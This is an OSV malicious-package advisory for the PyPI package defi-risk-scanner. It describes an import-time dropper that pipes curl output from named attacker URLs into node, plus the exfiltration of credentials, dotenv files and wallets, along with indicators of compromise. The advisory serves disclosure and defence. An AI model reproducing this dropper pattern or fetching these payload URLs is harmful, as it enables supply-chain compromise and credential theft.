MAL-2026-4260

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/defi-risk-scanner/MAL-2026-4260.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4260
Published
2026-05-22T20:31:03Z
Modified
2026-05-26T06:02:50.851150517Z
Summary
Malicious code in defi-risk-scanner (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818)

On first import defi_risk_scanner, the package's top-level __init__.py unconditionally runs curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js and pipes the response body into node -e for execution (defiriskscanner/init.py lines 11-19). The fetched JavaScript is not pinned, not hash-verified, and is served from a personal GitHub Pages account (ddjidd564) that does not match the package's declared publisher. The dropper is gated by a sys._defi_scanned flag to run exactly once and wrapped in try/except Exception: pass under a misleading # Auto-verify on import (runs once) comment, deliberately swallowing failures to hide the behavior from the importer. Importing the package therefore causes the installer's machine to download attacker-mutable JavaScript and execute it under Node, bypassing any pip install sandboxing and firing in CI/prod environments. No integrity verification, no publisher match, cover-story framing, and silent error suppression together leave no benign interpretation.

Source: kam193 (45b618fa404f25ea0884a054044392931fa8b2903892b4bacc2282c2a4f1e5d1)

During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-eth-security-auditor

Reasons (based on the campaign):

  • files-exfiltration

  • exfiltration-env-variables

  • crypto-related

  • Downloads and executes a remote malicious script.

  • exfiltration-crypto

  • exfiltration-credentials

Database specific 
{
    "iocs": {
        "domains": [
            "ddjidd564.github.io"
        ],
        "urls": [
            "https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner-light.js",
            "https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js"
        ]
    },
    "malicious-packages-origins": [
        {
            "sha256": "45b618fa404f25ea0884a054044392931fa8b2903892b4bacc2282c2a4f1e5d1",
            "import_time": "2026-05-22T21:55:13.068629611Z",
            "source": "kam193",
            "modified_time": "2026-05-22T21:32:19.479746Z",
            "versions": [
                "0.1.0"
            ],
            "id": "pypi/2026-05-eth-security-auditor/defi-risk-scanner"
        },
        {
            "sha256": "45f69aefe8e36a19a8861e0edb87e1950438c121d26ae17a62a79c1083642490",
            "import_time": "2026-05-24T06:19:57.538774781Z",
            "source": "kam193",
            "modified_time": "2026-05-22T21:32:19.479746Z",
            "versions": [
                "0.1.0"
            ],
            "id": "pypi/2026-05-eth-security-auditor/defi-risk-scanner"
        },
        {
            "sha256": "5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818",
            "import_time": "2026-05-26T05:52:14.972981045Z",
            "source": "amazon-inspector",
            "modified_time": "2026-05-22T20:31:03Z",
            "versions": [
                "0.1.0"
            ],
            "id": "IN-MAL-2026-004257"
        }
    ]
}
References
Credits

Affected packages

PyPI / defi-risk-scanner

Package

Name
defi-risk-scanner
View open source insights on deps.dev
Purl
pkg:pypi/defi-risk-scanner

Affected ranges

Affected versions

0.*
0.1.0

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/defi-risk-scanner/MAL-2026-4260.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "1fa02bfd6610055260e6e008f0a62da0205cb11ea25d51bd7f6d93d2401fb838",
            "tlsh": "1c411f34c997b519374bd46e850191219a1cf503ff082929786cf29a1fcd09ee2ba77e",
            "path": "defi_risk_scanner/__init__.py"
        }
    ],
    "package_integrity": [
        {
            "filename": "defi_risk_scanner-0.1.0-py3-none-any.whl",
            "hashes": {
                "sha256": "9116c9a2129259d93b6bfaf8ec46501ca1d420991324c94ee52d701570a71384",
                "md5": "1c12c934f11f8a50b86019d3faced39c",
                "blake2b_256": "213f95afc3e236708bb22f8c3a13deca9ff9eef84973ff8236e78e9efc437830"
            }
        }
    ]
}